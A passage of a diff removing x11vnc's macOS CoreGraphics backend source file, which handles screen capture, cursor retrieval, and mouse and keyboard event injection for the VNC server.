- * We need to keep this separate from nearly everything else, e.g. rfb.h
- * and the other stuff, otherwise it does not work properly, mouse drags
- * will not work!!
- */
-
-void macosxCG_dummy(void) {}
-
-#if (defined(__MACH__) && defined(__APPLE__))
-
-#include <ApplicationServices/ApplicationServices.h>
-#include <Cocoa/Cocoa.h>
-#include <Carbon/Carbon.h>
-
-void macosxCG_init(void);
-void macosxCG_fini(void);
-void macosxCG_event_loop(void);
-char *macosxCG_get_fb_addr(void);
-
-int macosxCG_CGDisplayPixelsWide(void);
-int macosxCG_CGDisplayPixelsHigh(void);
-int macosxCG_CGDisplayBitsPerPixel(void);
-int macosxCG_CGDisplayBitsPerSample(void);
-int macosxCG_CGDisplaySamplesPerPixel(void);
-int macosxCG_CGDisplayBytesPerRow(void);
-
-void macosxCG_pointer_inject(int mask, int x, int y);
-int macosxCG_get_cursor_pos(int *x, int *y);
-int macosxCG_get_cursor(void);
-void macosxCG_init_key_table(void);
-void macosxCG_keysym_inject(int down, unsigned int keysym);
-void macosxCG_keycode_inject(int down, int keycode);
-
-CGDirectDisplayID displayID = 0;
-
-extern void macosx_log(char *);
-extern int collect_non_X_xdamage(int x_in, int y_in, int w_in, int h_in, int call);
-
-static void macosxCG_callback(CGRectCount n, const CGRect *rects, void *dum) {
- int i, db = 0;
- if (db) fprintf(stderr, "macosx_callback: n=%d\n", (int) n);
- if (!dum) {}
- for (i=0; i < (int) n; i++) {
- if (db > 1) fprintf(stderr, " : %g %g - %g %g\n", rects[i].origin.x, rects[i].origin.y, rects[i].size.width, rects[i].size.height);
- collect_non_X_xdamage( (int) rects[i].origin.x, (int) rects[i].origin.y,
- (int) rects[i].size.width, (int) rects[i].size.height, 1);
- }
-}
-
-#if 0
->
-> if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I/opt/local/include -I/opt/local/include -ObjC -g -O2 -Wall -MT x11vnc-macosxCG.o -MD -MP -MF ".deps/x11vnc-macosxCG.Tpo" -c -o x11vnc-macosxCG.o `test -f 'macosxCG.c' || echo './'`macosxCG.c; \
-> then mv -f ".deps/x11vnc-macosxCG.Tpo" ".deps/x11vnc-macosxCG.Po"; else rm -f ".deps/x11vnc-macosxCG.Tpo"; exit 1; fi
-> macosxCG.c:149: warning: CGSetLocalEventsSuppressionInterval is deprecated (declared at /System/Library/Frameworks/ApplicationServices.framework/Frameworks/CoreGraphics.framework/Headers/CGRemoteOperation.h:373)
-> macosxCG.c:150: warning: CGSetLocalEventsFilterDuringSuppressionState is deprecated (declared at /System/Library/Frameworks/ApplicationServices.framework/Frameworks/CoreGraphics.framework/Headers/CGRemoteOperation.h:366)
-> macosxCG.c:153: warning: CGSetLocalEventsFilterDuringSuppressionState is deprecated (declared at /System/Library/Frameworks/ApplicationServices.framework/Frameworks/CoreGraphics.framework/Headers/CGRemoteOperation.h:366)
-> macosxCG.c:244: warning: CGDisplayBaseAddress is deprecated (declared at /System/Library/Frameworks/ApplicationServices.framework/Frameworks/CoreGraphics.framework/Headers/CGDirectDisplay.h:466)
-> macosxCG.c:254: warning: CGDisplayBitsPerPixel is deprecated (declared at /System/Library/Frameworks/ApplicationServices.framework/Frameworks/CoreGraphics.framework/Headers/CGDirectDisplay.h:517)
-> macosxCG.c:257: warning: CGDisplayBitsPerSample is deprecated (declared at /System/Library/Frameworks/ApplicationServices.framework/Frameworks/CoreGraphics.framework/Headers/CGDirectDisplay.h:522)
-> macosxCG.c:260: warning: CGDisplaySamplesPerPixel is deprecated (declared at /System/Library/Frameworks/ApplicationServices.framework/Frameworks/CoreGraphics.framework/Headers/CGDirectDisplay.h:526)
-> macosxCG.c:263: warning: CGDisplayBytesPerRow is deprecated (declared at /System/Library/Frameworks/ApplicationServices.framework/Frameworks/CoreGraphics.framework/Headers/CGDirectDisplay.h:476)
-> macosxCG.c:419: warning: CGPostScrollWheelEvent is deprecated (declared at /System/Library/Frameworks/ApplicationServices.framework/Frameworks/CoreGraphics.framework/Headers/CGRemoteOperation.h:327)
-> macosxCG.c:422: warning: CGPostScrollWheelEvent is deprecated (declared at /System/Library/Frameworks/ApplicationServices.framework/Frameworks/CoreGraphics.framework/Headers/CGRemoteOperation.h:327)
-> macosxCG.c:425: warning: CGPostMouseEvent is deprecated (declared at /System/Library/Frameworks/ApplicationServices.framework/Frameworks/CoreGraphics.framework/Headers/CGRemoteOperation.h:307)
-> macosxCG.c:641: warning: CGPostKeyboardEvent is deprecated (declared at /System/Library/Frameworks/ApplicationServices.framework/Frameworks/CoreGraphics.framework/Headers/CGRemoteOperation.h:333)
-> macosxCG.c:661: warning: CGPostKeyboardEvent is deprecated (declared at /System/Library/Frameworks/ApplicationServices.framework/Frameworks/CoreGraphics.framework/Headers/CGRemoteOperation.h:333)
->
-
-X11VNC_MACOSX_NO_DEPRECATED_LOCALEVENTS
-X11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS
-X11VNC_MACOSX_NO_DEPRECATED_FRAMEBUFFER
-X11VNC_MACOSX_NO_DEPRECATED
-
-#endif
-
-static int callback_set = 0;
-extern int nofb;
-
-void macosxCG_refresh_callback_on(void) {
- if (nofb) {
- return;
- }
-
- if (! callback_set) {
- if (1) macosx_log("macosxCG_refresh_callback: register\n");
- CGRegisterScreenRefreshCallback(macosxCG_callback, NULL);
- }
- callback_set = 1;
-}
-
-void macosxCG_refresh_callback_off(void) {
- if (callback_set) {
- if (1) macosx_log("macosxCG_refresh_callback: unregister\n");
- CGUnregisterScreenRefreshCallback(macosxCG_callback, NULL);
- }
- callback_set = 0;
-}
-
-extern int macosx_noscreensaver;
-extern int macosx_read_opengl;
-extern int macosx_read_rawfb;
-
-extern void macosxGCS_initpb(void);
-extern int macosxCGP_init_dimming(void);
-extern int macosxCGP_undim(void);
-extern int macosxCGP_dim_shutdown(void);
-extern void macosxCGP_screensaver_timer_off(void);
-extern void macosxCGP_screensaver_timer_on(void);
-extern void macosx_opengl_init(void);
-extern void macosx_opengl_fini(void);
-
-int x11vnc_macosx_no_deprecated_localevents = 0;
-int x11vnc_macosx_no_deprecated_postevents = 0;
-int x11vnc_macosx_no_deprecated_framebuffer = 0;
-
-void macosxCG_init(void) {
-
- x11vnc_macosx_no_deprecated_localevents = 0;
- x11vnc_macosx_no_deprecated_postevents = 0;
- x11vnc_macosx_no_deprecated_framebuffer = 0;
-
- if (getenv("X11VNC_MACOSX_NO_DEPRECATED_LOCALEVENTS") || getenv("X11VNC_MACOSX_NO_DEPRECATED")) {
- x11vnc_macosx_no_deprecated_localevents = 1;
- }
- if (getenv("X11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS") || getenv("X11VNC_MACOSX_NO_DEPRECATED")) {
- x11vnc_macosx_no_deprecated_postevents = 1;
- }
- if (getenv("X11VNC_MACOSX_NO_DEPRECATED_FRAMEBUFFER") || getenv("X11VNC_MACOSX_NO_DEPRECATED")) {
- x11vnc_macosx_no_deprecated_framebuffer = 1;
- }
-
- if (displayID == 0) {
- macosx_log("macosxCG_init: initializing display.\n");
-
- displayID = kCGDirectMainDisplay;
-#ifdef X11VNC_MACOSX_USE_GETMAINDEVICE
- /* not sure this ever did anything. */
- (void) GetMainDevice();
-#endif
- if (displayID == 0) {
- macosx_log("macosxCG_init: could not get kCGDirectMainDisplay / CGMainDisplayID() display.\n");
- exit(1);
- }
-
-#if X11VNC_MACOSX_NO_DEPRECATED_LOCALEVENTS || X11VNC_MACOSX_NO_DEPRECATED
- macosx_log("NO_DEPRECATED_LOCALEVENTS: not calling CGSetLocalEventsSuppressionInterval()\n");
- macosx_log("NO_DEPRECATED_LOCALEVENTS: not calling CGSetLocalEventsFilterDuringSupressionState()\n");
-#else
- if (!x11vnc_macosx_no_deprecated_localevents) {
- CGSetLocalEventsSuppressionInterval(0.0);
- CGSetLocalEventsFilterDuringSupressionState(
- kCGEventFilterMaskPermitAllEvents,
- kCGEventSupressionStateSupressionInterval);
- CGSetLocalEventsFilterDuringSupressionState(
- kCGEventFilterMaskPermitAllEvents,
- kCGEventSupressionStateRemoteMouseDrag);
- } else {
- macosx_log("NO_DEPRECATED_LOCALEVENTS: not calling CGSetLocalEventsSuppressionInterval()\n");
- macosx_log("NO_DEPRECATED_LOCALEVENTS: not calling CGSetLocalEventsFilterDuringSupressionState()\n");
- }
-#endif
-
- macosx_opengl_init();
-
- if (!macosx_read_opengl) {
- char *addr = macosxCG_get_fb_addr();
- if (addr == NULL) {
- macosx_log("macosxCG_init: could not get raw framebuffer address / CGDisplayBaseAddress().\n");
- exit(1);
- }
- macosx_read_rawfb = 1;
- macosx_log("macosxCG_init: using raw framebuffer address for screen capture.\n");
- }
-
- macosxCGP_init_dimming();
- if (macosx_noscreensaver) {
- macosxCGP_screensaver_timer_on();
- }
-
- macosxGCS_initpb();
- }
-}
-
-void macosxCG_fini(void) {
- macosxCGP_dim_shutdown();
- if (macosx_noscreensaver) {
- macosxCGP_screensaver_timer_off();
- }
- macosxCG_refresh_callback_off();
- macosx_opengl_fini();
- displayID = 0;
-}
-
-extern int dpy_x, dpy_y, bpp, wdpy_x, wdpy_y;
-extern int client_count, nofb;
-extern void do_new_fb(int);
-extern int macosx_wait_for_switch, macosx_resize;
-
-extern void macosxGCS_poll_pb(void);
-#if 0
-extern void usleep(unsigned long usec);
-#else
-extern int usleep(useconds_t usec);
-#endif
-extern unsigned int sleep(unsigned int seconds);
-extern void clean_up_exit(int ret);
-
-void macosxCG_event_loop(void) {
- OSStatus rc;
- int nbpp;
- static int nbpp_save = -1;
-
- macosxGCS_poll_pb();
- if (nofb) {
- return;
- }
-
- rc = RunCurrentEventLoop(kEventDurationSecond/30);
-
- if (client_count) {
- macosxCG_refresh_callback_on();
- } else {
- macosxCG_refresh_callback_off();
- }
-
- nbpp = macosxCG_CGDisplayBitsPerPixel();
-
- if (nbpp_save < 0) {
- nbpp_save = nbpp;
- }
-
- if (nbpp > 0 && nbpp != nbpp_save) {
- nbpp_save = nbpp;
- if (macosx_resize) {
- do_new_fb(1);
- }
- } else if (wdpy_x != macosxCG_CGDisplayPixelsWide()) {
- if (wdpy_y != macosxCG_CGDisplayPixelsHigh()) {
- if (macosx_wait_for_switch) {
- int cnt = 0;
- while (1) {
- if(macosxCG_CGDisplayPixelsWide() > 0) {
- if(macosxCG_CGDisplayPixelsHigh() > 0) {
- usleep(500*1000);
- break;
- }
- }
- if ((cnt++ % 120) == 0) {
- macosx_log("waiting for user to "
- "switch back..\n");
- }
- sleep(1);
- }
- if (wdpy_x == macosxCG_CGDisplayPixelsWide()) {
- if (wdpy_y == macosxCG_CGDisplayPixelsHigh()) {
- macosx_log("we're back...\n");
- return;
- }
- }
- }
- if (macosx_resize) {
- do_new_fb(1);
- }
- }
- }
- if (nbpp > 0) {
- nbpp_save = nbpp;
- }
-}
-
-extern int macosx_no_rawfb;
-extern int macosx_read_opengl;
-extern int macosx_opengl_get_width();
-extern int macosx_opengl_get_height();
-extern int macosx_opengl_get_bpp();
-extern int macosx_opengl_get_bps();
-extern int macosx_opengl_get_spp();
-
-#if X11VNC_MACOSX_NO_DEPRECATED_FRAMEBUFFER || X11VNC_MACOSX_NO_DEPRECATED
-
-char *macosxCG_get_fb_addr(void) {
- return NULL;
-}
-int macosxCG_CGDisplayPixelsWide(void) {
- return macosx_opengl_get_width();
-}
-int macosxCG_CGDisplayPixelsHigh(void) {
- return macosx_opengl_get_height();
-}
-int macosxCG_CGDisplayBitsPerPixel(void) {
- return macosx_opengl_get_bpp();
-}
-int macosxCG_CGDisplayBitsPerSample(void) {
- return macosx_opengl_get_bps();
-}
-int macosxCG_CGDisplaySamplesPerPixel(void) {
- return macosx_opengl_get_spp();
-}
-int macosxCG_CGDisplayBytesPerRow(void) {
- return macosx_opengl_get_width() * macosx_opengl_get_bpp() / 8;
-}
-
-#else
-
-char *macosxCG_get_fb_addr(void) {
- if (x11vnc_macosx_no_deprecated_framebuffer) {
- macosx_log("CGDisplayBaseAddress disabled by env. var\n");
- return NULL;
- }
- if (macosx_no_rawfb) {
- macosx_log("CGDisplayBaseAddress disabled by user.\n");
- return NULL;
- }
- if (macosx_read_opengl) {
- macosx_log("CGDisplayBaseAddress disabled by OpenGL.\n");
- return NULL;
- }
- return (char *) CGDisplayBaseAddress(displayID);
-}
-
-int macosxCG_CGDisplayPixelsWide(void) {
- if ((0 && macosx_read_opengl) || x11vnc_macosx_no_deprecated_framebuffer) {
- return macosx_opengl_get_width();
- }
- return (int) CGDisplayPixelsWide(displayID);
-}
-int macosxCG_CGDisplayPixelsHigh(void) {
- if ((0 && macosx_read_opengl) || x11vnc_macosx_no_deprecated_framebuffer) {
- return macosx_opengl_get_height();
- }
- return (int) CGDisplayPixelsHigh(displayID);
-}
-int macosxCG_CGDisplayBitsPerPixel(void) {
- if ((0 && macosx_read_opengl) || x11vnc_macosx_no_deprecated_framebuffer) {
- return macosx_opengl_get_bpp();
- }
- return (int) CGDisplayBitsPerPixel(displayID);
-}
-int macosxCG_CGDisplayBitsPerSample(void) {
- if (macosx_read_opengl || x11vnc_macosx_no_deprecated_framebuffer) {
- return macosx_opengl_get_bps();
- }
- return (int) CGDisplayBitsPerSample(displayID);
-}
-int macosxCG_CGDisplaySamplesPerPixel(void) {
- if (macosx_read_opengl || x11vnc_macosx_no_deprecated_framebuffer) {
- return macosx_opengl_get_spp();
- }
- return (int) CGDisplaySamplesPerPixel(displayID);
-}
-int macosxCG_CGDisplayBytesPerRow(void) {
- if (macosx_read_opengl || x11vnc_macosx_no_deprecated_framebuffer) {
- return macosx_opengl_get_width() * macosx_opengl_get_bpp()/8;
- }
- return (int) CGDisplayBytesPerRow(displayID);;
-}
-
-#endif
-
-typedef int CGSConnectionRef;
-static CGSConnectionRef conn = 0;
-extern CGError CGSNewConnection(void*, CGSConnectionRef*);
-extern CGError CGSReleaseConnection(CGSConnectionRef);
-extern CGError CGSGetGlobalCursorDataSize(CGSConnectionRef, int*);
-extern CGError CGSGetGlobalCursorData(CGSConnectionRef, unsigned char*,
- int*, int*, CGRect*, CGPoint*, int*, int*, int*);
-extern CGError CGSGetCurrentCursorLocation(CGSConnectionRef, CGPoint*);
-extern int CGSCurrentCursorSeed(void);
-extern int CGSHardwareCursorActive();
-
-static unsigned int last_local_button_mask = 0;
-static unsigned int last_local_mod_mask = 0;
-static int last_local_x = 0;
-static int last_local_y = 0;
-
-extern unsigned int display_button_mask;
-extern unsigned int display_mod_mask;
-extern int got_local_pointer_input;
-extern time_t last_local_input;
-
-static CGPoint current_cursor_pos(void) {
- CGPoint pos;
- pos.x = 0;
- pos.y = 0;
- if (! conn) {
- if (CGSNewConnection(NULL, &conn) != kCGErrorSuccess) {
- macosx_log("CGSNewConnection error.\n");
- if (!dpy_x || !dpy_y || !wdpy_x || !wdpy_y) {
- clean_up_exit(1);
- }
- }
- }
- if (CGSGetCurrentCursorLocation(conn, &pos) != kCGErrorSuccess) {
- macosx_log("CGSGetCurrentCursorLocation error\n");
- }
-
- display_button_mask = GetCurrentButtonState();
-#if 0
-/* not used yet */
- display_mod_mask = GetCurrentKeyModifiers();
-#endif
-
- if (last_local_button_mask != display_button_mask) {
- got_local_pointer_input++;
- last_local_input = time(NULL);
- } else if (pos.x != last_local_x || pos.y != last_local_y) {
- got_local_pointer_input++;
- last_local_input = time(NULL);
- }
- last_local_button_mask = display_button_mask;
- last_local_mod_mask = display_mod_mask;
- last_local_x = pos.x;
- last_local_y = pos.y;
-
- return pos;
-}
-
-int macosxCG_get_cursor_pos(int *x, int *y) {
- CGPoint pos = current_cursor_pos();
- *x = pos.x;
- *y = pos.y;
- return 1;
-}
-
-extern int get_cursor_serial(int);
-extern int store_cursor(int serial, unsigned long *data, int w, int h, int cbpp, int xhot, int yhot);
-
-int macosxCG_get_cursor(void) {
- int last_idx = (int) get_cursor_serial(1);
- int which = 1;
- CGError err;
- int datasize, row_bytes, cdepth, comps, bpcomp;
- CGRect rect;
- CGPoint hot;
- unsigned char *data;
- int cursor_seed;
- static int last_cursor_seed = -1;
- static time_t last_fetch = 0;
- time_t now = time(NULL);
-
- if (last_idx) {
- which = last_idx;
- }
-
- if (! conn) {
- if (CGSNewConnection(NULL, &conn) != kCGErrorSuccess) {
- macosx_log("CGSNewConnection error.\n");
- if (!dpy_x || !dpy_y || !wdpy_x || !wdpy_y) {
- clean_up_exit(1);
- }
- return which;
- }
- }
-
- /* XXX all of these interfaces are undocumented. */
-
- cursor_seed = CGSCurrentCursorSeed();
- if (last_idx && cursor_seed == last_cursor_seed) {
- if (now < last_fetch + 2) {
- return which;
- }
- }
- last_cursor_seed = cursor_seed;
- last_fetch = now;
-
- if (CGSGetGlobalCursorDataSize(conn, &datasize) != kCGErrorSuccess) {
- macosx_log("CGSGetGlobalCursorDataSize error\n");
- return which;
- }
-
- data = (unsigned char*) malloc(datasize);
-
- err = CGSGetGlobalCursorData(conn, data, &datasize, &row_bytes,
- &rect, &hot, &cdepth, &comps, &bpcomp);
-#if 0
- fprintf(stderr, "datasize: %d row_bytes: %d cdepth: %d comps: %d bpcomp: %d w: %d h: %d\n",
- datasize, row_bytes, cdepth, comps, bpcomp, (int) rect.size.width, (int) rect.size.height);
-#endif
- if (err != kCGErrorSuccess) {
- macosx_log("CGSGetGlobalCursorData error\n");
- return which;
- }
-
- if (cdepth == 24) {
- cdepth = 32;
- }
-
- if (sizeof(long) == 8 && comps * bpcomp <= 32) {
- /* pad it out to unsigned long array size (like xfixes) */
- int i;
- unsigned char *dsave;
- unsigned char *data64 = (unsigned char*) malloc(2 *datasize);
- unsigned int *uI = (unsigned int *) data;
- unsigned long *uL = (unsigned long *) data64;
- for (i=0; i < datasize/4; i++) {
- uL[i] = uI[i];
- }
- dsave = data;
- data = data64;
- free(dsave);
- }
-
- which = store_cursor(cursor_seed, (unsigned long*) data,
- (int) rect.size.width, (int) rect.size.height, cdepth, (int) hot.x, (int) hot.y);
-
- free(data);
- return(which);
-}
-
-extern int macosx_mouse_wheel_speed;
-extern int macosx_swap23;
-extern int off_x, coff_x, off_y, coff_y;
-
-extern int debug_pointer;
-
-static void CGPostScrollWheelEvent_wr(CGWheelCount wheel_count, int wheel_distance) {
- static int post_mode = -1, mcnt = 0;
-
-#if !X11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS && !X11VNC_MACOSX_NO_DEPRECATED
- if (post_mode < 0) {
- post_mode = 1;
- if (getenv("X11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS") || getenv("X11VNC_MACOSX_NO_DEPRECATED")) {
- post_mode = 0;
- }
- }
-
- if (post_mode) {
- if (mcnt++ < 10 || debug_pointer) fprintf(stderr, "CGPostScrollWheelEvent()\n");
- CGPostScrollWheelEvent(wheel_count, wheel_distance);
- } else
-#endif
- {
- /* XXX 10.5 and later */
-#ifndef X11VNC_MACOSX_NO_CGEVENTCREATESCROLLWHEELEVENT
- CGEventRef event;
- event = CGEventCreateScrollWheelEvent(NULL, kCGScrollEventUnitLine, wheel_count, wheel_distance);
- if (event != NULL) {
- CGEventPost(kCGHIDEventTap, event);
- CFRelease(event);
- }
-#endif
- if (mcnt++ < 10 || debug_pointer) fprintf(stderr, "CGEventCreateScrollWheelEvent()\n");
- }
-}
-
-static void CGPostMouseEvent_wr(CGPoint loc, int update, int count, int d1, int d2, int d3, int p1, int p2, int p3) {
- static int post_mode = -1, mcnt = 0;
-
-#if !X11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS && !X11VNC_MACOSX_NO_DEPRECATED
- if (post_mode < 0) {
- post_mode = 1;
- if (getenv("X11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS") || getenv("X11VNC_MACOSX_NO_DEPRECATED")) {
- post_mode = 0;
- }
- }
-
- if (post_mode) {
- if (mcnt++ < 10 || debug_pointer) fprintf(stderr, "CGPostMouseEvent()\n");
- CGPostMouseEvent(loc, update, count, d1, d2, d3);
- } else
-#endif
- {
- /* XXX 10.4 and later */
-#ifndef X11VNC_MACOSX_NO_CGEVENTCREATEMOUSEEVENT
- CGEventRef event;
- static int xp = -1, yp;
-
- if (xp == -1) {
- xp = loc.x;
- yp = loc.y;
- }
- if (xp != loc.x || yp != loc.y) {
- int moved = 0;
- if (p1 && p1 == d1) {
- event = CGEventCreateMouseEvent(NULL, kCGEventLeftMouseDragged, loc, 0);
- if (event != NULL) {
- moved = 1;
- CGEventPost(kCGHIDEventTap, event);
- CFRelease(event);
- }
- }
- if (p3 && p3 == d3) {
- event = CGEventCreateMouseEvent(NULL, kCGEventOtherMouseDragged, loc, 0);
- if (event != NULL) {
- moved = 1;
- CGEventPost(kCGHIDEventTap, event);
- CFRelease(event);
- }
- }
- if (p2 && p2 == d2) {
- event = CGEventCreateMouseEvent(NULL, kCGEventRightMouseDragged, loc, 0);
- if (event != NULL) {
- moved = 1;
- CGEventPost(kCGHIDEventTap, event);
- CFRelease(event);
- }
- }
- if (!moved) {
- event = CGEventCreateMouseEvent(NULL, kCGEventMouseMoved, loc, 0);
- if (event != NULL) {
- CGEventPost(kCGHIDEventTap, event);
- CFRelease(event);
- }
- }
- }
- xp = loc.x;
- yp = loc.y;
- if (p1 != d1) {
- CGEventType type = (!p1 && d1) ? kCGEventLeftMouseDown : kCGEventLeftMouseUp;
- event = CGEventCreateMouseEvent(NULL, type, loc, 0);
- if (event != NULL) {
- CGEventPost(kCGHIDEventTap, event);
- CFRelease(event);
- }
- }
- if (p3 != d3) {
- CGEventType type = (!p3 && d3) ? kCGEventOtherMouseDown : kCGEventOtherMouseUp;
- event = CGEventCreateMouseEvent(NULL, type, loc, kCGMouseButtonCenter);
- if (event != NULL) {
- CGEventPost(kCGHIDEventTap, event);
- CFRelease(event);
- }
- }
- if (p2 != d2) {
- CGEventType type = (!p2 && d2) ? kCGEventRightMouseDown : kCGEventRightMouseUp;
- event = CGEventCreateMouseEvent(NULL, type, loc, 0);
- if (event != NULL) {
- CGEventPost(kCGHIDEventTap, event);
- CFRelease(event);
- }
- }
-#endif
- if (mcnt++ < 10 || debug_pointer) fprintf(stderr, "CGEventCreateMouseEvent()\n");
- }
-}
-
-void macosxCG_pointer_inject(int mask, int x, int y) {
- int swap23 = macosx_swap23;
- int s1 = 0, s2 = 1, s3 = 2, s4 = 3, s5 = 4;
- CGPoint loc;
- int wheel_distance = macosx_mouse_wheel_speed;
- static int cnt = 0;
- static int first = 1, prev1 = 0, prev2 = 0, prev3 = 0;
- int curr1, curr2, curr3;
-
- if (swap23) {
- s2 = 2;
- s3 = 1;
- }
-
- loc.x = x + off_x + coff_x;
- loc.y = y + off_y + coff_y;
-
- if ((cnt++ % 10) == 0) {
- macosxCGP_undim();
- }
-
- if ((mask & (1 << s4))) {
- CGPostScrollWheelEvent_wr(1, wheel_distance);
- }
- if ((mask & (1 << s5))) {
- CGPostScrollWheelEvent_wr(1, -wheel_distance);
- }
-
- curr1 = (mask & (1 << s1)) ? TRUE : FALSE;
- curr2 = (mask & (1 << s2)) ? TRUE : FALSE;
- curr3 = (mask & (1 << s3)) ? TRUE : FALSE;
-
- if (first) {
- prev1 = curr1;
- prev2 = curr2;
- prev3 = curr3;
- first = 0;
- }
-
- CGPostMouseEvent_wr(loc, TRUE, 3, curr1, curr2, curr3, prev1, prev2, prev3);
-
- prev1 = curr1;
- prev2 = curr2;
- prev3 = curr3;
-}
-
-#define keyTableSize 0xFFFF
-
-#include <rfb/keysym.h>
-
-static int USKeyCodes[] = {
- /* The alphabet */
- XK_A, 0, /* A */
- XK_B, 11, /* B */
- XK_C, 8, /* C */
- XK_D, 2, /* D */
- XK_E, 14, /* E */
- XK_F, 3, /* F */
- XK_G, 5, /* G */
- XK_H, 4, /* H */
- XK_I, 34, /* I */
- XK_J, 38, /* J */
- XK_K, 40, /* K */
- XK_L, 37, /* L */
- XK_M, 46, /* M */
- XK_N, 45, /* N */
- XK_O, 31, /* O */
- XK_P, 35, /* P */
- XK_Q, 12, /* Q */
- XK_R, 15, /* R */
- XK_S, 1, /* S */
- XK_T, 17, /* T */
- XK_U, 32, /* U */
- XK_V, 9, /* V */
- XK_W, 13, /* W */
- XK_X, 7, /* X */
- XK_Y, 16, /* Y */
- XK_Z, 6, /* Z */
- XK_a, 0, /* a */
- XK_b, 11, /* b */
- XK_c, 8, /* c */
- XK_d, 2, /* d */
- XK_e, 14, /* e */
- XK_f, 3, /* f */
- XK_g, 5, /* g */
- XK_h, 4, /* h */
- XK_i, 34, /* i */
- XK_j, 38, /* j */
- XK_k, 40, /* k */
- XK_l, 37, /* l */
- XK_m, 46, /* m */
- XK_n, 45, /* n */
- XK_o, 31, /* o */
- XK_p, 35, /* p */
- XK_q, 12, /* q */
- XK_r, 15, /* r */
- XK_s, 1, /* s */
- XK_t, 17, /* t */
- XK_u, 32, /* u */
- XK_v, 9, /* v */
- XK_w, 13, /* w */
- XK_x, 7, /* x */
- XK_y, 16, /* y */
- XK_z, 6, /* z */
-
- /* Numbers */
- XK_0, 29, /* 0 */
- XK_1, 18, /* 1 */
- XK_2, 19, /* 2 */
- XK_3, 20, /* 3 */
- XK_4, 21, /* 4 */
- XK_5, 23, /* 5 */
- XK_6, 22, /* 6 */
- XK_7, 26, /* 7 */
- XK_8, 28, /* 8 */
- XK_9, 25, /* 9 */
-
- /* Symbols */
- XK_exclam, 18, /* ! */
- XK_at, 19, /* @ */
- XK_numbersign, 20, /* # */
- XK_dollar, 21, /* $ */
- XK_percent, 23, /* % */
- XK_asciicircum, 22, /* ^ */
- XK_ampersand, 26, /* & */
- XK_asterisk, 28, /* * */
- XK_parenleft, 25, /* ( */
- XK_parenright, 29, /* ) */
- XK_minus, 27, /* - */
- XK_underscore, 27, /* _ */
- XK_equal, 24, /* = */
- XK_plus, 24, /* + */
- XK_grave, 50, /* ` */ /* XXX ? */
- XK_asciitilde, 50, /* ~ */
- XK_bracketleft, 33, /* [ */
- XK_braceleft, 33, /* { */
- XK_bracketright, 30, /* ] */
- XK_braceright, 30, /* } */
- XK_semicolon, 41, /* ; */
- XK_colon, 41, /* : */
- XK_apostrophe, 39, /* ' */
- XK_quotedbl, 39, /* " */
- XK_comma, 43, /* , */
- XK_less, 43, /* < */
- XK_period, 47, /* . */
- XK_greater, 47, /* > */
- XK_slash, 44, /* / */
- XK_question, 44, /* ? */
- XK_backslash, 42, /* \ */
- XK_bar, 42, /* | */
- /* OS X Sends this (END OF MEDIUM) for Shift-Tab (with US Keyboard) */
- 0x0019, 48, /* Tab */
- XK_space, 49, /* Space */
-};
-
-static int SpecialKeyCodes[] = {
- /* "Special" keys */
- XK_Return, 36, /* Return */
- XK_Delete, 117, /* Delete */
- XK_Tab, 48, /* Tab */
- XK_Escape, 53, /* Esc */
- XK_Caps_Lock, 57, /* Caps Lock */
- XK_Num_Lock, 71, /* Num Lock */
- XK_Scroll_Lock, 107, /* Scroll Lock */
- XK_Pause, 113, /* Pause */
- XK_BackSpace, 51, /* Backspace */
- XK_Insert, 114, /* Insert */
-
- /* Cursor movement */
- XK_Up, 126, /* Cursor Up */
- XK_Down, 125, /* Cursor Down */
- XK_Left, 123, /* Cursor Left */
- XK_Right, 124, /* Cursor Right */
- XK_Page_Up, 116, /* Page Up */
- XK_Page_Down, 121, /* Page Down */
- XK_Home, 115, /* Home */
- XK_End, 119, /* End */
-
- /* Numeric keypad */
- XK_KP_0, 82, /* KP 0 */
- XK_KP_1, 83, /* KP 1 */
- XK_KP_2, 84, /* KP 2 */
- XK_KP_3, 85, /* KP 3 */
- XK_KP_4, 86, /* KP 4 */
- XK_KP_5, 87, /* KP 5 */
- XK_KP_6, 88, /* KP 6 */
- XK_KP_7, 89, /* KP 7 */
- XK_KP_8, 91, /* KP 8 */
- XK_KP_9, 92, /* KP 9 */
- XK_KP_Enter, 76, /* KP Enter */
- XK_KP_Decimal, 65, /* KP . */
- XK_KP_Add, 69, /* KP + */
- XK_KP_Subtract, 78, /* KP - */
- XK_KP_Multiply, 67, /* KP * */
- XK_KP_Divide, 75, /* KP / */
-
- /* Function keys */
- XK_F1, 122, /* F1 */
- XK_F2, 120, /* F2 */
- XK_F3, 99, /* F3 */
- XK_F4, 118, /* F4 */
- XK_F5, 96, /* F5 */
- XK_F6, 97, /* F6 */
- XK_F7, 98, /* F7 */
- XK_F8, 100, /* F8 */
- XK_F9, 101, /* F9 */
- XK_F10, 109, /* F10 */
- XK_F11, 103, /* F11 */
- XK_F12, 111, /* F12 */
-
- /* Modifier keys */
- XK_Alt_L, 55, /* Alt Left (-> Command) */
- XK_Alt_R, 55, /* Alt Right (-> Command) */
- XK_Shift_L, 56, /* Shift Left */
- XK_Shift_R, 56, /* Shift Right */
- XK_Meta_L, 58, /* Option Left (-> Option) */
- XK_Meta_R, 58, /* Option Right (-> Option) */
- XK_Super_L, 58, /* Option Left (-> Option) */
- XK_Super_R, 58, /* Option Right (-> Option) */
- XK_Control_L, 59, /* Ctrl Left */
- XK_Control_R, 59, /* Ctrl Right */
-};
-
-CGKeyCode keyTable[keyTableSize];
-unsigned char keyTableMods[keyTableSize];
-
-void macosxCG_init_key_table(void) {
- static int init = 0;
- int i;
- if (init) {
- return;
- }
- init = 1;
-
- for (i=0; i < keyTableSize; i++) {
- keyTable[i] = 0xFFFF;
- keyTableMods[i] = 0;
- }
- for (i=0; i< (int) (sizeof(USKeyCodes) / sizeof(int)); i += 2) {
- int j = USKeyCodes[i];
- keyTable[(unsigned short) j] = (CGKeyCode) USKeyCodes[i+1];
- }
- for (i=0; i< (int) (sizeof(SpecialKeyCodes) / sizeof(int)); i += 2) {
- int j = SpecialKeyCodes[i];
- keyTable[(unsigned short) j] = (CGKeyCode) SpecialKeyCodes[i+1];
- }
-}
-
-extern void init_key_table(void);
-extern int macosx_us_kbd;
-
-extern int debug_keyboard;
-
